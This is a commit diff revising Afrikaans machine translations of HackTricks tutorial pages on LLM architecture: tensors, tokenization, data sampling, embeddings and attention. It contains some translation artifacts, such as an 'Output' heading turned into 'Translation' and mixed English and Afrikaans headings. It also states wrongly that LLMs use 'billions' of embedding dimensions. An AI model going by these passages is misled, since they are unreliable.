Translated ['src/AI/AI-llm-architecture/0.-basic-llm-concepts.md', 'src/

2025-10-10 18:36:50 +00:00 · 2025-07-12 11:25:53 +00:00 · 2025-07-12 11:25:53 +00:00 · da3f08028d
commit da3f08028d
parent c685362476
47 changed files with 823 additions and 665 deletions
--- a/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md
+++ b/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md
@ -1,24 +1,24 @@
-# 0. Basic LLM Concepts
+# 0. Basis LLM Konsepte

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

-## Pretraining
+## Vooropleiding

-Pretraining is die grondslag fase in die ontwikkeling van 'n groot taalmodel (LLM) waar die model blootgestel word aan groot en diverse hoeveelhede teksdata. Tydens hierdie fase, **leer die LLM die fundamentele strukture, patrone, en nuanses van taal**, insluitend grammatika, woordeskat, sintaksis, en kontekstuele verhoudings. Deur hierdie uitgebreide data te verwerk, verkry die model 'n breë begrip van taal en algemene wêreldkennis. Hierdie omvattende basis stel die LLM in staat om samehangende en kontekstueel relevante teks te genereer. Vervolgens kan hierdie vooropgeleide model fyn-afgestem word, waar dit verder opgelei word op gespesialiseerde datastelle om sy vermoëns aan te pas vir spesifieke take of domeine, wat sy prestasie en relevansie in geteikende toepassings verbeter.
+Vooropleiding is die grondleggende fase in die ontwikkeling van 'n groot taalmodel (LLM) waar die model blootgestel word aan groot en diverse hoeveelhede teksdata. Tydens hierdie fase, **leer die LLM die fundamentele strukture, patrone en nuanses van taal**, insluitend grammatika, woordeskat, sintaksis en kontekstuele verhoudings. Deur hierdie uitgebreide data te verwerk, verwerf die model 'n breë begrip van taal en algemene wêreldkennis. Hierdie omvattende basis stel die LLM in staat om samehangende en kontekstueel relevante teks te genereer. Daarna kan hierdie vooropgeleide model verder fyn-afgestem word, waar dit verder opgelei word op gespesialiseerde datastelle om sy vermoëns aan te pas vir spesifieke take of domeine, wat sy prestasie en relevansie in geteikende toepassings verbeter.

-## Main LLM components
+## Hoof LLM komponente

 Gewoonlik word 'n LLM gekarakteriseer deur die konfigurasie wat gebruik word om dit op te lei. Dit is die algemene komponente wanneer 'n LLM opgelei word:

 - **Parameters**: Parameters is die **leerbare gewigte en vooroordele** in die neurale netwerk. Dit is die getalle wat die opleidingsproses aanpas om die verliesfunksie te minimaliseer en die model se prestasie op die taak te verbeter. LLMs gebruik gewoonlik miljoene parameters.
- **Context Length**: Dit is die maksimum lengte van elke sin wat gebruik word om die LLM voor te oefen.
- **Embedding Dimension**: Die grootte van die vektor wat gebruik word om elke token of woord voor te stel. LLMs gebruik gewoonlik miljarde dimensies.
- **Hidden Dimension**: Die grootte van die verborge lae in die neurale netwerk.
- **Number of Layers (Depth)**: Hoeveel lae die model het. LLMs gebruik gewoonlik tientalle lae.
- **Number of Attention Heads**: In transformer modelle, is dit hoeveel aparte aandag meganismes in elke laag gebruik word. LLMs gebruik gewoonlik tientalle koppe.
- **Dropout**: Dropout is iets soos die persentasie data wat verwyder word (waarskynlikhede draai na 0) tydens opleiding wat gebruik word om **oorpassing te voorkom.** LLMs gebruik gewoonlik tussen 0-20%.
+- **Kontekslengte**: Dit is die maksimum lengte van elke sin wat gebruik word om die LLM voor te oefen.
+- **Inbedigingsdimensie**: Die grootte van die vektor wat gebruik word om elke token of woord voor te stel. LLMs gebruik gewoonlik biljoene dimensies.
+- **Verborge Dimensie**: Die grootte van die verborge lae in die neurale netwerk.
+- **Aantal Lae (Diepte)**: Hoeveel lae die model het. LLMs gebruik gewoonlik tientalle lae.
+- **Aantal Aandagkoppe**: In transformermodelle, dit is hoeveel aparte aandagmeganismes in elke laag gebruik word. LLMs gebruik gewoonlik tientalle koppe.
+- **Dropout**: Dropout is iets soos die persentasie data wat verwyder word (waarskynlikhede word 0) tydens opleiding wat gebruik word om **oorpassing te voorkom.** LLMs gebruik gewoonlik tussen 0-20%.

-Configuration of the GPT-2 model:
+Konfigurasie van die GPT-2 model:
 ```json
 GPT_CONFIG_124M = {
 "vocab_size": 50257,  // Vocabulary size of the BPE tokenizer
@ -32,25 +32,25 @@ GPT_CONFIG_124M = {
 ```
 ## Tensors in PyTorch

-In PyTorch, 'n **tensor** is 'n fundamentele datastruktuur wat dien as 'n multi-dimensionele array, wat konsepte soos skalar, vektore en matrikse veralgemeen na moontlik hoër dimensies. Tensors is die primêre manier waarop data voorgestel en gemanipuleer word in PyTorch, veral in die konteks van diep leer en neurale netwerke.
+In PyTorch, 'n **tensor** is 'n fundamentele datastruktuur wat dien as 'n multi-dimensionele array, wat konsepte soos skalars, vektore en matrikse veralgemeen na moontlik hoër dimensies. Tensors is die primêre manier waarop data voorgestel en gemanipuleer word in PyTorch, veral in die konteks van diep leer en neurale netwerke.

-### Mathematical Concept of Tensors
+### Wiskundige Konsep van Tensors

- **Scalars**: Tensors van rang 0, wat 'n enkele getal voorstel (nul-dimensioneel). Soos: 5
- **Vectors**: Tensors van rang 1, wat 'n een-dimensionele array van getalle voorstel. Soos: \[5,1]
- **Matrices**: Tensors van rang 2, wat twee-dimensionele arrays met rye en kolomme voorstel. Soos: \[\[1,3], \[5,2]]
- **Higher-Rank Tensors**: Tensors van rang 3 of meer, wat data in hoër dimensies voorstel (bv. 3D tensors vir kleurbeelde).
+- **Skalars**: Tensors van rang 0, wat 'n enkele getal voorstel (nul-dimensioneel). Soos: 5
+- **Vektore**: Tensors van rang 1, wat 'n een-dimensionele array van getalle voorstel. Soos: \[5,1]
+- **Matrikse**: Tensors van rang 2, wat twee-dimensionele arrays met rye en kolomme voorstel. Soos: \[\[1,3], \[5,2]]
+- **Hoër-Rang Tensors**: Tensors van rang 3 of meer, wat data in hoër dimensies voorstel (bv. 3D tensors vir kleurbeelde).

 ### Tensors as Data Containers

-From a computational perspective, tensors act as containers for multi-dimensional data, where each dimension can represent different features or aspects of the data. This makes tensors highly suitable for handling complex datasets in machine learning tasks.
+Vanuit 'n rekenkundige perspektief, funksioneer tensors as houers vir multi-dimensionele data, waar elke dimensie verskillende kenmerke of aspekte van die data kan voorstel. Dit maak tensors hoogs geskik vir die hantering van komplekse datasets in masjienleer take.

 ### PyTorch Tensors vs. NumPy Arrays

-While PyTorch tensors are similar to NumPy arrays in their ability to store and manipulate numerical data, they offer additional functionalities crucial for deep learning:
+Terwyl PyTorch tensors soortgelyk is aan NumPy arrays in hul vermoë om numeriese data te stoor en te manipuleer, bied hulle addisionele funksionaliteite wat noodsaaklik is vir diep leer:

- **Automatic Differentiation**: PyTorch tensors support automatic calculation of gradients (autograd), which simplifies the process of computing derivatives required for training neural networks.
- **GPU Acceleration**: Tensors in PyTorch can be moved to and computed on GPUs, significantly speeding up large-scale computations.
+- **Outomatiese Differensiasie**: PyTorch tensors ondersteun outomatiese berekening van gradiënte (autograd), wat die proses van die berekening van afgeleides wat benodig word vir die opleiding van neurale netwerke vereenvoudig.
+- **GPU Versnelling**: Tensors in PyTorch kan na en op GPU's beweeg en bereken word, wat groot-skaal berekeninge aansienlik versnel.

 ### Creating Tensors in PyTorch

@ -72,11 +72,11 @@ tensor2d = torch.tensor([[1, 2],
 tensor3d = torch.tensor([[[1, 2], [3, 4]],
 [[5, 6], [7, 8]]])
 ```
-### Tensor Gegewens Tipes
+### Tensor Data Tipes

 PyTorch tensors kan data van verskillende tipes stoor, soos heelgetalle en drijvende-komma getalle.

-Jy kan 'n tensor se gegewens tipe nagaan met die `.dtype` attribuut:
+Jy kan 'n tensor se datatipe nagaan met die `.dtype` attribuut:
 ```python
 tensor1d = torch.tensor([1, 2, 3])
 print(tensor1d.dtype)  # Output: torch.int64
@ -96,7 +96,7 @@ PyTorch bied 'n verskeidenheid operasies om tensors te manipuleer:
 - **Toegang tot Vorm**: Gebruik `.shape` om die dimensies van 'n tensor te kry.

 ```python
-print(tensor2d.shape)  # Output: torch.Size([2, 2])
+print(tensor2d.shape)  # Uitset: torch.Size([2, 2])
 ```

 - **Hervorming van Tensors**: Gebruik `.reshape()` of `.view()` om die vorm te verander.
@ -192,7 +192,7 @@ loss.backward()
 print("Gradient w.r.t w:", w.grad)
 print("Gradient w.r.t b:", b.grad)
 ```
-**Output:**
+**Translation:**
 ```css
 cssCopy codeGradient w.r.t w: tensor([-0.0898])
 Gradient w.r.t b: tensor([-0.0817])
@ -203,14 +203,14 @@ Gradient w.r.t b: tensor([-0.0817])

 In groter neurale netwerke met meerdere lae, word die proses om gradiënte te bereken meer kompleks weens die verhoogde aantal parameters en operasies. Tog bly die fundamentele beginsels dieselfde:

- **Voorwaartse Deur:** Bereken die uitvoer van die netwerk deur insette deur elke laag te laat gaan.
+- **Voorwaartse Deurloop:** Bereken die uitvoer van die netwerk deur insette deur elke laag te laat gaan.
 - **Bereken Verlies:** Evalueer die verliesfunksie met behulp van die netwerk se uitvoer en die teikenetikette.
- **Achterwaartse Deur (Terugpropagering):** Bereken die gradiënte van die verlies ten opsigte van elke parameter in die netwerk deur die kettingreël herhaaldelik toe te pas van die uitvoerlaag terug na die insetlaag.
+- **Achterwaartse Deurloop (Terugpropagering):** Bereken die gradiënte van die verlies ten opsigte van elke parameter in die netwerk deur die kettingreël herhaaldelik toe te pas van die uitvoerlaag terug na die insetlaag.

 ### **2. Terugpropagering Algoritme**

 - **Stap 1:** Begin die netwerkparameters (gewigte en vooroordele).
- **Stap 2:** Vir elke opleidingsvoorbeeld, voer 'n voorwaartse deur uit om die uitvoer te bereken.
+- **Stap 2:** Vir elke opleidingsvoorbeeld, voer 'n voorwaartse deurloop uit om die uitvoer te bereken.
 - **Stap 3:** Bereken die verlies.
 - **Stap 4:** Bereken die gradiënte van die verlies ten opsigte van elke parameter met behulp van die kettingreël.
 - **Stap 5:** Werk die parameters op met 'n optimalisering algoritme (bv. gradiëntafname).
@ -286,4 +286,4 @@ Tydens die agterwaartse deurloop:
 - **Nauwkeurigheid:** Verskaf presiese afgeleides tot masjienpresisie.
 - **Gebruiksgemak:** Elimineer handmatige berekening van afgeleides.

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/AI/AI-llm-architecture/1.-tokenizing.md
+++ b/src/AI/AI-llm-architecture/1.-tokenizing.md
@ -1,79 +1,79 @@
 # 1. Tokenizing

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

 ## Tokenizing

-**Tokenizing** is die proses om data, soos teks, op te breek in kleiner, hanteerbare stukke wat _tokens_ genoem word. Elke token word dan aan 'n unieke numeriese identifiseerder (ID) toegeken. Dit is 'n fundamentele stap in die voorbereiding van teks vir verwerking deur masjienleer modelle, veral in natuurlike taalverwerking (NLP).
+**Tokenizing** is die proses om data, soos teks, in kleiner, hanteerbare stukke genaamd _tokens_ op te breek. Elke token word dan aan 'n unieke numeriese identifiseerder (ID) toegeken. Dit is 'n fundamentele stap in die voorbereiding van teks vir verwerking deur masjienleer modelle, veral in natuurlike taalverwerking (NLP).

 > [!TIP]
 > Die doel van hierdie aanvanklike fase is baie eenvoudig: **Verdeel die invoer in tokens (ids) op 'n manier wat sin maak**.

-### **How Tokenizing Works**
+### **Hoe Tokenizing Werk**

-1. **Splitting the Text:**
- **Basic Tokenizer:** 'n Eenvoudige tokenizer kan teks in individuele woorde en leestekens verdeel, terwyl spaties verwyder word.
- _Example:_\
+1. **Die Teks Verdeeld:**
+- **Basiese Tokenizer:** 'n Eenvoudige tokenizer kan teks in individuele woorde en leestekens verdeel, terwyl spaties verwyder word.
+- _Voorbeeld:_\
 Teks: `"Hello, world!"`\
 Tokens: `["Hello", ",", "world", "!"]`
-2. **Creating a Vocabulary:**
- Om tokens in numeriese ID's om te skakel, word 'n **vocabulary** geskep. Hierdie vocabulary lys al die unieke tokens (woorde en simbole) en ken elkeen 'n spesifieke ID toe.
- **Special Tokens:** Dit is spesiale simbole wat by die vocabulary gevoeg word om verskillende scenario's te hanteer:
- `[BOS]` (Beginning of Sequence): Dui die begin van 'n teks aan.
- `[EOS]` (End of Sequence): Dui die einde van 'n teks aan.
- `[PAD]` (Padding): Gebruik om alle reekse in 'n batch dieselfde lengte te maak.
- `[UNK]` (Unknown): Verteenwoordig tokens wat nie in die vocabulary is nie.
- _Example:_\
+2. **Skep 'n Woordeskat:**
+- Om tokens in numeriese ID's om te skakel, word 'n **woordeskat** geskep. Hierdie woordeskat lys al die unieke tokens (woorde en simbole) en ken elkeen 'n spesifieke ID toe.
+- **Spesiale Tokens:** Dit is spesiale simbole wat by die woordeskat gevoeg word om verskillende scenario's te hanteer:
+- `[BOS]` (Begin van Sequentie): Dui die begin van 'n teks aan.
+- `[EOS]` (Einde van Sequentie): Dui die einde van 'n teks aan.
+- `[PAD]` (Padding): Gebruik om alle sequenties in 'n batch dieselfde lengte te maak.
+- `[UNK]` (Onbekend): Verteenwoordig tokens wat nie in die woordeskat is nie.
+- _Voorbeeld:_\
 As `"Hello"` ID `64` toegeken word, `","` is `455`, `"world"` is `78`, en `"!"` is `467`, dan:\
 `"Hello, world!"` → `[64, 455, 78, 467]`
- **Handling Unknown Words:**\
-As 'n woord soos `"Bye"` nie in die vocabulary is nie, word dit vervang met `[UNK]`.\
+- **Hanteer Onbekende Woorde:**\
+As 'n woord soos `"Bye"` nie in die woordeskat is nie, word dit vervang met `[UNK]`.\
 `"Bye, world!"` → `["[UNK]", ",", "world", "!"]` → `[987, 455, 78, 467]`\
 _(Aneem `[UNK]` het ID `987`)_

-### **Advanced Tokenizing Methods**
+### **Geavanceerde Tokenizing Metodes**

-Terwyl die basiese tokenizer goed werk vir eenvoudige teks, het dit beperkings, veral met groot vocabularies en die hantering van nuwe of seldsame woorde. Gevorderde tokenizing metodes spreek hierdie probleme aan deur teks in kleiner subeenhede op te breek of die tokenisering proses te optimaliseer.
+Terwyl die basiese tokenizer goed werk vir eenvoudige teks, het dit beperkings, veral met groot woordeskatte en die hantering van nuwe of seldsame woorde. Geavanceerde tokenizing metodes spreek hierdie probleme aan deur teks in kleiner subeenhede op te breek of die tokenisering proses te optimaliseer.

 1. **Byte Pair Encoding (BPE):**
- **Purpose:** Verminder die grootte van die vocabulary en hanteer seldsame of onbekende woorde deur dit op te breek in gereeld voorkomende byte pare.
- **How It Works:**
+- **Doel:** Verminder die grootte van die woordeskat en hanteer seldsame of onbekende woorde deur hulle op te breek in gereeld voorkomende byte pare.
+- **Hoe Dit Werk:**
 - Begin met individuele karakters as tokens.
- Samevoeg die mees gereelde pare van tokens in 'n enkele token.
+- Samevoeg iteratief die mees gereelde pare van tokens in 'n enkele token.
 - Gaan voort totdat daar geen meer gereelde pare is wat saamgevoeg kan word nie.
- **Benefits:**
+- **Voordele:**
 - Elimineer die behoefte aan 'n `[UNK]` token aangesien alle woorde verteenwoordig kan word deur bestaande subwoord tokens te kombineer.
- Meer doeltreffende en buigsame vocabulary.
- _Example:_\
-`"playing"` mag as `["play", "ing"]` getokeniseer word as `"play"` en `"ing"` gereelde subwoorde is.
+- Meer doeltreffende en buigsame woordeskat.
+- _Voorbeeld:_\
+`"playing"` kan as `["play", "ing"]` getokeniseer word as `"play"` en `"ing"` gereelde subwoorde is.
 2. **WordPiece:**
- **Used By:** Modelle soos BERT.
- **Purpose:** Soortgelyk aan BPE, breek dit woorde in subwoord eenhede op om onbekende woorde te hanteer en die vocabulary grootte te verminder.
- **How It Works:**
- Begin met 'n basis vocabulary van individuele karakters.
+- **Gebruik Deur:** Modelle soos BERT.
+- **Doel:** Soortgelyk aan BPE, breek dit woorde in subwoord eenhede op om onbekende woorde te hanteer en die grootte van die woordeskat te verminder.
+- **Hoe Dit Werk:**
+- Begin met 'n basiswoordeskat van individuele karakters.
 - Voeg iteratief die mees gereelde subwoord by wat die waarskynlikheid van die opleidingsdata maksimeer.
 - Gebruik 'n probabilistiese model om te besluit watter subwoorde saamgevoeg moet word.
- **Benefits:**
- Balans tussen 'n hanteerbare vocabulary grootte en effektiewe verteenwoordiging van woorde.
+- **Voordele:**
+- Balans tussen 'n hanteerbare woordeskatgrootte en effektiewe verteenwoordiging van woorde.
 - Hanteer seldsame en saamgestelde woorde doeltreffend.
- _Example:_\
-`"unhappiness"` mag as `["un", "happiness"]` of `["un", "happy", "ness"]` getokeniseer word, afhangende van die vocabulary.
-3. **Unigram Language Model:**
- **Used By:** Modelle soos SentencePiece.
- **Purpose:** Gebruik 'n probabilistiese model om die mees waarskynlike stel van subwoord tokens te bepaal.
- **How It Works:**
+- _Voorbeeld:_\
+`"unhappiness"` kan as `["un", "happiness"]` of `["un", "happy", "ness"]` getokeniseer word, afhangende van die woordeskat.
+3. **Unigram Taalmodel:**
+- **Gebruik Deur:** Modelle soos SentencePiece.
+- **Doel:** Gebruik 'n probabilistiese model om die mees waarskynlike stel van subwoord tokens te bepaal.
+- **Hoe Dit Werk:**
 - Begin met 'n groot stel potensiële tokens.
- Verwyder iteratief tokens wat die minste verbetering in die model se waarskynlikheid van die opleidingsdata bied.
- Finaliseer 'n vocabulary waar elke woord verteenwoordig word deur die mees waarskynlike subwoord eenhede.
- **Benefits:**
+- Verwyder iteratief tokens wat die minste die model se waarskynlikheid van die opleidingsdata verbeter.
+- Finaliseer 'n woordeskat waar elke woord verteenwoordig word deur die mees waarskynlike subwoord eenhede.
+- **Voordele:**
 - Buigsame en kan taal meer natuurlik modelleer.
- Lei dikwels tot meer doeltreffende en kompakte tokeniseringen.
- _Example:_\
-`"internationalization"` mag in kleiner, betekenisvolle subwoorde soos `["international", "ization"]` getokeniseer word.
+- Lei dikwels tot meer doeltreffende en kompakte tokenisering.
+- _Voorbeeld:_\
+`"internationalization"` kan in kleiner, betekenisvolle subwoorde soos `["international", "ization"]` getokeniseer word.

-## Code Example
+## Code Voorbeeld

-Let's understand this better from a code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
+Laat ons dit beter verstaan vanuit 'n kodevoorbeeld van [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
 ```python
 # Download a text to pre-train the model
 import urllib.request
@ -97,4 +97,4 @@ print(token_ids[:50])
 - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)


-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/AI/AI-llm-architecture/2.-data-sampling.md
+++ b/src/AI/AI-llm-architecture/2.-data-sampling.md
@ -1,13 +1,13 @@
 # 2. Data Sampling

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

 ## **Data Sampling**

-**Data Sampling** is 'n belangrike proses in die voorbereiding van data vir die opleiding van groot taalmodelle (LLMs) soos GPT. Dit behels die organisering van teksdata in invoer- en teikensekwensies wat die model gebruik om te leer hoe om die volgende woord (of token) te voorspel op grond van die voorafgaande woorde. Korrek data sampling verseker dat die model effektief taalpatrone en afhanklikhede vasvang.
+**Data Sampling** is 'n belangrike proses om data voor te berei vir die opleiding van groot taalmodelle (LLMs) soos GPT. Dit behels die organisering van teksdata in invoer- en teikensekwensies wat die model gebruik om te leer hoe om die volgende woord (of token) te voorspel op grond van die voorafgaande woorde. Korrek data sampling verseker dat die model effektief taalpatrone en afhanklikhede vasvang.

 > [!TIP]
-> Die doel van hierdie tweede fase is baie eenvoudig: **Monster die invoerdata en berei dit voor vir die opleidingsfase deur gewoonlik die dataset in sinne van 'n spesifieke lengte te skei en ook die verwagte reaksie te genereer.**
+> Die doel van hierdie tweede fase is baie eenvoudig: **Steek die invoerdata en berei dit voor vir die opleidingsfase deur gewoonlik die dataset in sinne van 'n spesifieke lengte te skei en ook die verwagte reaksie te genereer.**

 ### **Why Data Sampling Matters**

@ -15,7 +15,7 @@ LLMs soos GPT word opgelei om teks te genereer of te voorspel deur die konteks w

 ### **Key Concepts in Data Sampling**

-1. **Tokenization:** Die opsplitsing van teks in kleiner eenhede wat tokens genoem word (bv. woorde, subwoorde of karakters).
+1. **Tokenization:** Om teks in kleiner eenhede genaamd tokens (bv. woorde, subwoorde of karakters) te verdeel.
 2. **Sequence Length (max_length):** Die aantal tokens in elke invoersekwensie.
 3. **Sliding Window:** 'n Metode om oorvleuelende invoersekwensies te skep deur 'n venster oor die getokeniseerde teks te beweeg.
 4. **Stride:** Die aantal tokens wat die glijdende venster vorentoe beweeg om die volgende sekwensie te skep.
@ -86,7 +86,7 @@ Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing",
 **Understanding Stride**

 - **Stride of 1:** Die venster beweeg vorentoe met een token elke keer, wat lei tot hoogs oorvleuelende reekse. Dit kan lei tot beter leer van kontekstuele verhoudings, maar kan die risiko van oorpassing verhoog aangesien soortgelyke datapunte herhaal word.
- **Stride of 2:** Die venster beweeg vorentoe met twee tokens elke keer, wat oorvleueling verminder. Dit verminder redundans en rekenaarlading, maar mag sommige kontekstuele nuanses mis.
+- **Stride of 2:** Die venster beweeg vorentoe met twee tokens elke keer, wat oorvleueling verminder. Dit verminder redundans en rekenaarlading, maar mag dalk sommige kontekstuele nuanses mis.
 - **Stride Equal to max_length:** Die venster beweeg vorentoe met die hele venstergrootte, wat lei tot nie-oorvleuelende reekse. Dit minimaliseer data redundans, maar mag die model se vermoë om afhanklikhede oor reekse te leer beperk.

 **Example with Stride of 2:**
@ -235,4 +235,4 @@ tensor([[  367,  2885,  1464,  1807],
 - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)


-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/AI/AI-llm-architecture/3.-token-embeddings.md
+++ b/src/AI/AI-llm-architecture/3.-token-embeddings.md
@ -1,6 +1,6 @@
 # 3. Token Embeddings

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

 ## Token Embeddings

@ -12,23 +12,23 @@ Na die tokenisering van teksdata, is die volgende kritieke stap in die voorberei
 >
 > Boonop, tydens die token embedding **word 'n ander laag van embeddings geskep** wat (in hierdie geval) die **absolute posisie van die woord in die opleidingssin** verteenwoordig. Op hierdie manier sal 'n woord in verskillende posisies in die sin 'n ander voorstelling (betekenis) hê.

-### **Wat is Token Embeddings?**
+### **What Are Token Embeddings?**

-**Token Embeddings** is numeriese verteenwoordigings van tokens in 'n deurlopende vektor ruimte. Elke token in die woordeskat is geassosieer met 'n unieke vektor van vaste dimensies. Hierdie vektore vang semantiese en sintaktiese inligting oor die tokens vas, wat die model in staat stel om verhoudings en patrone in die data te verstaan.
+**Token Embeddings** is numeriese verteenwoordigings van tokens in 'n deurlopende vektorruimte. Elke token in die woordeskat is geassosieer met 'n unieke vektor van vaste dimensies. Hierdie vektore vang semantiese en sintaktiese inligting oor die tokens vas, wat die model in staat stel om verhoudings en patrone in die data te verstaan.

- **Woordeskatgrootte:** Die totale aantal unieke tokens (bv. woorde, subwoorde) in die model se woordeskat.
- **Embedding Dimensies:** Die aantal numeriese waardes (dimensies) in elke token se vektor. Hoër dimensies kan meer genuanseerde inligting vasvang, maar vereis meer rekenaarhulpbronne.
+- **Vocabulary Size:** Die totale aantal unieke tokens (bv. woorde, subwoorde) in die model se woordeskat.
+- **Embedding Dimensions:** Die aantal numeriese waardes (dimensies) in elke token se vektor. Hoër dimensies kan meer genuanseerde inligting vasvang, maar vereis meer rekenaarhulpbronne.

-**Voorbeeld:**
+**Example:**

- **Woordeskatgrootte:** 6 tokens \[1, 2, 3, 4, 5, 6]
- **Embedding Dimensies:** 3 (x, y, z)
+- **Vocabulary Size:** 6 tokens \[1, 2, 3, 4, 5, 6]
+- **Embedding Dimensions:** 3 (x, y, z)

-### **Inisialisering van Token Embeddings**
+### **Initializing Token Embeddings**

 Aan die begin van die opleiding, word token embeddings tipies geinisialiseer met klein random waardes. Hierdie aanvanklike waardes word aangepas (fyngestem) tydens die opleiding om die tokens se betekenisse beter te verteenwoordig op grond van die opleidingsdata.

-**PyTorch Voorbeeld:**
+**PyTorch Example:**
 ```python
 import torch

@ -84,8 +84,8 @@ Tydens opleiding word elke token in die invoerdata omgeskakel na sy ooreenstemme

 **Data Struktuur:**

- Elke batch word verteenwoordig as 'n 3D tensor met die vorm `(batch_size, max_length, embedding_dim)`.
- Vir ons voorbeeld sal die vorm wees `(8, 4, 256)`.
+- Elke batch word verteenwoordig as 'n 3D tensor met vorm `(batch_size, max_length, embedding_dim)`.
+- Vir ons voorbeeld, sal die vorm `(8, 4, 256)` wees.

 **Visualisering:**
 ```css
@ -130,7 +130,7 @@ Terwyl token embeddings die betekenis van individuele tokens vasvang, kodeer hul
 ### **Waarom Posisionele Embeddings Benodig Word:**

 - **Token Volgorde Maak Saak:** In sinne hang die betekenis dikwels af van die volgorde van woorde. Byvoorbeeld, "Die kat het op die mat gesit" teenoor "Die mat het op die kat gesit."
- **Embedding Beperking:** Sonder posisionele inligting behandel die model tokens as 'n "sak van woorde," terwyl hulle hul volgorde ignoreer.
+- **Embedding Beperking:** Sonder posisionele inligting behandel die model tokens as 'n "sak van woorde," wat hulle volgorde ignoreer.

 ### **Tipes van Posisionele Embeddings:**

@ -205,4 +205,4 @@ print(input_embeddings.shape) # torch.Size([8, 4, 256])
 - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)


-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/AI/AI-llm-architecture/4.-attention-mechanisms.md
+++ b/src/AI/AI-llm-architecture/4.-attention-mechanisms.md
@ -1,10 +1,10 @@
 # 4. Aandag Meganismes

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

 ## Aandag Meganismes en Self-Aandag in Neurale Netwerke

-Aandag meganismes laat neurale netwerke toe om f**okus te plaas op spesifieke dele van die invoer wanneer hulle elke deel van die uitvoer genereer**. Hulle ken verskillende gewigte aan verskillende invoere toe, wat die model help om te besluit watter invoere die relevantste is vir die taak wat voorlê. Dit is van kardinale belang in take soos masjienvertaling, waar begrip van die konteks van die hele sin noodsaaklik is vir akkurate vertaling.
+Aandag meganismes laat neurale netwerke toe om **op spesifieke dele van die invoer te fokus wanneer hulle elke deel van die uitvoer genereer**. Hulle ken verskillende gewigte aan verskillende invoere toe, wat die model help om te besluit watter invoere die relevantste is vir die taak wat voorlê. Dit is van kardinale belang in take soos masjienvertaling, waar begrip van die konteks van die hele sin noodsaaklik is vir akkurate vertaling.

 > [!TIP]
 > Die doel van hierdie vierde fase is baie eenvoudig: **Pas 'n paar aandag meganismes toe**. Hierdie gaan baie **herhaalde lae** wees wat die **verhouding van 'n woord in die woordeskat met sy bure in die huidige sin wat gebruik word om die LLM te train, gaan vasvang**.\
@ -12,15 +12,15 @@ Aandag meganismes laat neurale netwerke toe om f**okus te plaas op spesifieke de

 ### Verstaan Aandag Meganismes

-In tradisionele volgorde-tot-volgorde modelle wat vir taalvertaling gebruik word, kodeer die model 'n invoer volgorde in 'n vaste-grootte konteksvektor. Hierdie benadering sukkel egter met lang sinne omdat die vaste-grootte konteksvektor dalk nie al die nodige inligting vasvang nie. Aandag meganismes spreek hierdie beperking aan deur die model toe te laat om al die invoer tokens in ag te neem wanneer dit elke uitvoer token genereer.
+In tradisionele volgorde-tot-volgorde modelle wat vir taalvertaling gebruik word, kodeer die model 'n invoer volgorde in 'n vaste-grootte konteksvektor. Hierdie benadering sukkel egter met lang sinne omdat die vaste-grootte konteksvektor dalk nie al die nodige inligting vasvang nie. Aandag meganismes spreek hierdie beperking aan deur die model toe te laat om al die invoer tokens te oorweeg wanneer dit elke uitvoer token genereer.

 #### Voorbeeld: Masjienvertaling

-Oorweeg om die Duitse sin "Kannst du mir helfen diesen Satz zu übersetzen" in Engels te vertaal. 'n Woord-vir-woord vertaling sou nie 'n grammatikaal korrekte Engelse sin lewer nie weens verskille in grammatikaal strukture tussen tale. 'n Aandag meganisme stel die model in staat om op relevante dele van die invoer sin te fokus wanneer dit elke woord van die uitvoer sin genereer, wat lei tot 'n meer akkurate en samehangende vertaling.
+Oorweeg om die Duitse sin "Kannst du mir helfen diesen Satz zu übersetzen" in Engels te vertaal. 'n Woord-vir-woord vertaling sou nie 'n grammatikaal korrekte Engelse sin lewer nie weens verskille in grammaticale strukture tussen tale. 'n Aandag meganisme stel die model in staat om op relevante dele van die invoer sin te fokus wanneer dit elke woord van die uitvoer sin genereer, wat lei tot 'n meer akkurate en samehangende vertaling.

 ### Inleiding tot Self-Aandag

-Self-aandag, of intra-aandag, is 'n meganisme waar aandag binne 'n enkele volgorde toegepas word om 'n voorstelling van daardie volgorde te bereken. Dit laat elke token in die volgorde toe om op al die ander tokens te fokus, wat die model help om afhanklikhede tussen tokens vas te vang ongeag hul afstand in die volgorde.
+Self-aandag, of intra-aandag, is 'n meganisme waar aandag binne 'n enkele volgorde toegepas word om 'n voorstelling van daardie volgorde te bereken. Dit laat elke token in die volgorde toe om op al die ander tokens te let, wat die model help om afhanklikhede tussen tokens vas te vang ongeag hul afstand in die volgorde.

 #### Sleutelkonsepte

@ -41,7 +41,7 @@ Ons doel is om die **konteksvektor** vir die woord **"shiny"** te bereken met be
 #### Stap 1: Bereken Aandag Punte

 > [!TIP]
-> Vermy om in die wiskundige terme verlore te raak, die doel van hierdie funksie is eenvoudig, normaliseer al die gewigte sodat **hulle in totaal 1 optel**.
+> Vermy om verlore te raak in die wiskundige terme, die doel van hierdie funksie is eenvoudig, normaliseer al die gewigte sodat **hulle in totaal 1 optel**.
